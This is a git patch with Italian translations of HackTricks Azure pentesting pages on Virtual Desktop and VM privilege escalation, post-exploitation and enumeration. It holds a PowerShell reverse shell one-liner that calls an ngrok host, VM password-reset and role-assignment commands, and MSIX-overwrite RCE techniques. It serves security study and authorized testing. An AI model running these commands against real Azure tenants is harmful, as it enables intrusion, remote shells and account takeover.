From 3bdec3cc70e7af5d1995a074eabbe87d534bf040 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 26 Feb 2025 16:11:06 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- src/SUMMARY.md | 3 +- .../az-virtual-desktop-post-exploitation.md | 21 +++ .../az-virtual-desktop-privesc.md | 27 ++-- ...az-virtual-machines-and-network-privesc.md | 28 ++-- .../az-services/az-virtual-desktop.md | 129 +++++++++++------- 5 files changed, 141 insertions(+), 67 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17ab8f63d..54f1ce76a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -454,7 +454,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -465,6 +465,7 @@ - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md) + - [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md new file mode 100644 index 000000000..ffd321ebc --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -0,0 +1,21 @@ +# Az - VMs & Network Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Desktop Virtuale + +Per ulteriori informazioni su Desktop Virtuale, controlla la seguente pagina: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + +### Tecniche comuni + +- Sovrascrivere un **pacchetto MSIX dall'account di archiviazione** per ottenere RCE in qualsiasi VM che utilizza quell'app. +- In un remoteapp è possibile cambiare il **percorso del binario da eseguire**. +- **Evasione dalle app** a una shell per ottenere RCE. +- Qualsiasi attacco di post exploitation e persistenza da **Azure VMs.** +- È possibile **configurare uno script da eseguire** nel pool per applicare configurazioni personalizzate. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index d2623ed91..4c25a7be2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -4,14 +4,24 @@ ## Azure Virtual Desktop Privesc +Per ulteriori informazioni su Azure Virtual Desktop controlla: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + + ### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` -Puoi recuperare il token di registrazione utilizzato per registrare macchine virtuali all'interno di un pool di host. +Puoi recuperare il token di registrazione utilizzato per registrare le macchine virtuali all'interno di un pool di host. ```bash az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1 ``` -### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write") +### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write -Con queste autorizzazioni puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale. +> [!WARNING] +> Un attaccante con questi permessi potrebbe fare cose molto più pericolose di questa. + +Con questi permessi puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments/?api-version=2022-04-01" \ @@ -22,12 +32,7 @@ az rest --method PUT \ } }' ``` -Inoltre, puoi cambiare l'utente e la password della macchina virtuale per accedervi. -```bash -az vm user update \ ---resource-group \ ---name \ ---username \ ---password -``` +Nota che affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo `Virtual Machine User Login` o `Virtual Machine Administrator Login` sulla VM. + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 3d3287717..36fe488ba 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -49,7 +49,7 @@ az vm extension set \ {{#tab name="Windows" }} -- Eseguire una reverse shell +- Esegui una reverse shell ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -93,7 +93,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na Estensione VMAccess -Questa estensione consente di modificare la password (o crearne una se non esiste) degli utenti all'interno delle VM Windows. +Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows. ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: +Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -298,15 +298,15 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ### `Microsoft.Compute/virtualMachines/login/action` -Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM). +Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM). -Accedi tramite **SSH** con **`az ssh vm --name --resource-group `** e tramite **RDP** con le tue **credenziali Azure normali**. +Accedi tramite **SSH** con **`az ssh vm --name --resource-group `** e tramite **RDP** con le tue **credenziali Azure regolari**. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` -Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM). +Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM). -Accedi tramite **SSH** con **`az ssh vm --name --resource-group `** e tramite **RDP** con le tue **credenziali Azure normali**. +Accedi tramite **SSH** con **`az ssh vm --name --resource-group `** e tramite **RDP** con le tue **credenziali Azure regolari**. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` @@ -327,7 +327,7 @@ az vm create \ ``` ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere l'**identità assegnata dal sistema** e **molte identità gestite dall'utente**.\ +Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere quella **assegnata dal sistema** e **molte identità gestite dall'utente**.\ Poi, dal servizio di metadata è possibile generare token per ciascuna di esse. ```bash # Get currently assigned managed identities to the VM @@ -343,12 +343,22 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -Poi l'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**: +L'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} +### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" + +Queste autorizzazioni consentono di cambiare l'utente e la password della macchina virtuale per accedervi: +```bash +az vm user update \ +--resource-group \ +--name \ +--username \ +--password +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action Secondo la [**documentazione**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM... diff --git a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md index c1ee437c7..054cfac88 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md +++ b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md @@ -4,61 +4,105 @@ ## Azure Virtual Desktop -Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server agli utenti da remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web. +Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server, agli utenti in remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web. ### Host Pools Gli host pool in Azure Virtual Desktop sono collezioni di macchine virtuali Azure configurate come host di sessione, fornendo desktop virtuali e app agli utenti. Ci sono due tipi principali: -- **Personal host pools**, dove ogni macchina virtuale è dedicata a un singolo utente, con i propri ambienti -- **Pooled host pools**, dove più utenti condividono risorse su qualsiasi host di sessione disponibile. Ha un limite di sessione configurabile e una configurazione dell'host di sessione consente ad Azure Virtual Desktop di automatizzare la creazione di host di sessione basata su una configurazione -Ogni host pool ha un **token di registrazione** utilizzato per registrare macchine virtuali all'interno di un host pool. +- **Host pool personali**, dove ogni macchina virtuale è dedicata a un singolo utente. +- Può essere configurato in modo che l'**amministratore possa assegnare** utenti specifici alle VM o che questo avvenga **automaticamente**. +- Questo è ideale per persone con carichi di lavoro intensivi poiché ogni persona avrà la propria VM. Inoltre, potranno memorizzare file e configurare impostazioni nel disco del sistema operativo e queste persisteranno poiché **ogni utente ha la propria VM (host)**. -### Application groups & Workspace -I gruppi di applicazioni **controllano l'accesso degli utenti** a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool. Ci sono due tipi: -- **Desktop application groups**, che danno agli utenti accesso a un desktop Windows completo (disponibile sia con personal che con pooled host pools) -- **RemoteApp groups**, che consentono agli utenti di accedere a singole applicazioni pubblicate (disponibili solo con pooled host pools). -Un host pool può avere un gruppo di applicazioni Desktop ma più gruppi RemoteApp. Gli utenti possono essere assegnati a più gruppi di applicazioni attraverso diversi host pool. Se un utente è assegnato sia a gruppi desktop che a gruppi RemoteApp all'interno dello stesso host pool, vedrà solo le risorse dal tipo di gruppo preferito impostato dagli amministratori. +- **Host pool condivisi**, dove più **utenti condividono risorse** sugli host di sessione disponibili. +- È possibile configurare un **numero massimo di utenti** (sessioni) per host. +- È possibile **aggiungere VM manualmente** utilizzando chiavi di registrazione, o **consentire ad Azure di scalare automaticamente** il numero di host senza avere l'opzione di aggiungere VM utilizzando la chiave di registrazione. Non è possibile scalare automaticamente le VM per pool personali. +- Per persistere i file nelle sessioni degli utenti, è necessario utilizzare **FSlogix**. -Un **workspace** è una **collezione di gruppi di applicazioni**, che consente agli utenti di accedere ai desktop e ai gruppi di applicazioni a loro assegnati. Ogni gruppo di applicazioni deve essere collegato a un workspace e può appartenere a un solo workspace alla volta. +### Session Hosts + +Queste sono le **VM a cui gli utenti si connetteranno.** + +- Se è stata selezionata la scalabilità automatica, verrà creato un modello con le **caratteristiche degli host** che devono essere creati per il pool. +- In caso contrario, durante la creazione dell'Host pool è possibile indicare le **caratteristiche e il numero di VM** che si desidera creare e Azure le creerà e le aggiungerà per te. + +Le principali caratteristiche per **configurare le VM** sono: + +- Il **prefisso** del nome delle nuove VM +- Il **tipo di VM**: Questo può essere “macchina virtuale Azure” (per utilizzare le VM Azure) o “macchina virtuale locale Azure” che consente di distribuire gli host in loco o al confine. +- La posizione, le zone, le opzioni di sicurezza della VM, l'immagine, la CPU, la memoria, la dimensione del disco… +- Il **VNet, il gruppo di sicurezza e le porte** da esporre a Internet +- È possibile impostare credenziali per **unirsi automaticamente a un dominio AD**, o utilizzare la directory Entra ID +- Se Entra ID, è possibile **iscrivere automaticamente la nuova VM in Intune** +- È necessario impostare un **nome utente e una password dell'amministratore** a meno che Azure non scaldi gli host, in tal caso deve essere **configurato un segreto con il nome utente e un altro con la password** +- È possibile **configurare uno script da eseguire** per la configurazione personalizzata + +### Application Groups + +**I gruppi di applicazioni** controllano l'accesso degli utenti a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool. + +Ci sono due tipi di gruppi di applicazioni: + +- **Gruppi di applicazioni desktop**, che danno agli utenti accesso a desktop Windows completi e app collegate. +- **Gruppi RemoteApp**, che consentono agli utenti di accedere a singole applicazioni. +- Non è possibile assegnare questo tipo di gruppo di applicazioni a un Pool Personale. +- È necessario indicare il percorso del binario da eseguire all'interno della VM. + +Un Pool Condiviso può avere **un gruppo di applicazioni Desktop** e **più gruppi RemoteApp** e gli utenti possono essere assegnati a più gruppi di applicazioni in diversi host pool. + +Quando a un utente viene **concesso accesso**, gli viene assegnato il ruolo **`Desktop Virtualization User`** sul gruppo di applicazioni. + +### Workspaces & Connections + +Un **workspace** è una collezione di gruppi di applicazioni. + +Per **connettersi** al Desktop o alle app assegnate è possibile farlo da [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices) +E ci sono altri metodi descritti su [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client) + +Quando un utente accede al proprio account, gli verrà **presentato separato per workspace tutto ciò a cui ha accesso**. Pertanto, è necessario aggiungere **ogni gruppo di applicazioni a un workspace** affinché gli accessi definiti siano visibili. + +Affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo **`Virtual Machine User Login`** o **`Virtual Machine Administrator Login`** sulla VM. + +### Managed Identities + +Non è possibile assegnare identità gestite agli host pool, quindi le VM create all'interno di un pool le avranno. +Tuttavia, è possibile **assegnare identità gestite di sistema e utente alle VM** e poi accedere ai token dai metadati. In effetti, dopo aver lanciato gli host pool dal web, le 2 VM generate hanno l'identità gestita di sistema abilitata (anche se non ha alcuna autorizzazione). -### Key Features -- **Creazione flessibile di VM**: Crea macchine virtuali Azure direttamente o aggiungi macchine virtuali locali Azure in un secondo momento. -- **Funzionalità di sicurezza**: Abilita Trusted Launch (secure boot, vTPM, monitoraggio dell'integrità) per una sicurezza avanzata delle VM (è necessaria una rete virtuale). Può integrare Azure Firewall e controllare il traffico tramite Network Security Groups. -- **Domain Join**: Supporto per l'unione a domini Active Directory con configurazioni personalizzabili. -- **Diagnostica e monitoraggio**: Abilita le impostazioni diagnostiche per trasmettere log e metriche a Log Analytics, account di archiviazione o event hubs per il monitoraggio. -- **Modelli di immagine personalizzati**: Crea e gestisci modelli da utilizzare quando aggiungi host di sessione. Aggiungi facilmente personalizzazioni comuni o i tuoi script personalizzati. -- **Registrazione dello workspace**: Registra facilmente gruppi di applicazioni desktop predefiniti a nuovi o esistenti workspace per semplificare la gestione dell'accesso degli utenti. ### Enumeration ```bash az extension add --name desktopvirtualization -# List HostPool of a Resource group -az desktopvirtualization hostpool list --resource-group +# List HostPools +az desktopvirtualization hostpool list + +# List Workspaces +az desktopvirtualization workspace list # List Application Groups -az desktopvirtualization applicationgroup list --resource-group -# List Application Groups By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03" +az desktopvirtualization applicationgroup list + # List Applications in a Application Group az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03" + +# Check if Desktops are enabled +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" + # List Assigned Users to the Application Group az rest \ --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \ | jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions//resourcegroups//providers/microsoft.desktopvirtualization/applicationgroups/")' +# List hosts +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" -# List Workspace in a resource group -az desktopvirtualization workspace list --resource-group -# List Workspace in a subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03" - -# List App Attach Package By Resource Group +# List App Attach packages az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" -# List App Attach Package By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" + +# List user sessions +az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03" + # List Desktops az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" @@ -68,34 +112,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip # List private endpoint connections associated with hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03" + # List private endpoint connections associated By Workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03" # List the private link resources available for a hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03" + # List the private link resources available for this workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03" - -# List sessionHosts/virtual machines. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" - -# List start menu items in the given application group. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03" - -# List userSessions. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03" -# List userSessions By Host Pool -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03" - ``` -### Connessione - -Per connettersi al desktop virtuale tramite web, è possibile accedere tramite https://client.wvd.microsoft.com/arm/webclient/ (il più comune), o https://client.wvd.microsoft.com/webclient/index.html (classico) Ci sono altri metodi che sono descritti qui [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows) - ## Privesc {{#ref}} ../az-privilege-escalation/az-virtual-desktop-privesc.md {{#endref}} +## Post Exploitation & Persistence + +{{#ref}} +../az-post-exploitation/az-virtual-desktop-post-exploitation.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}}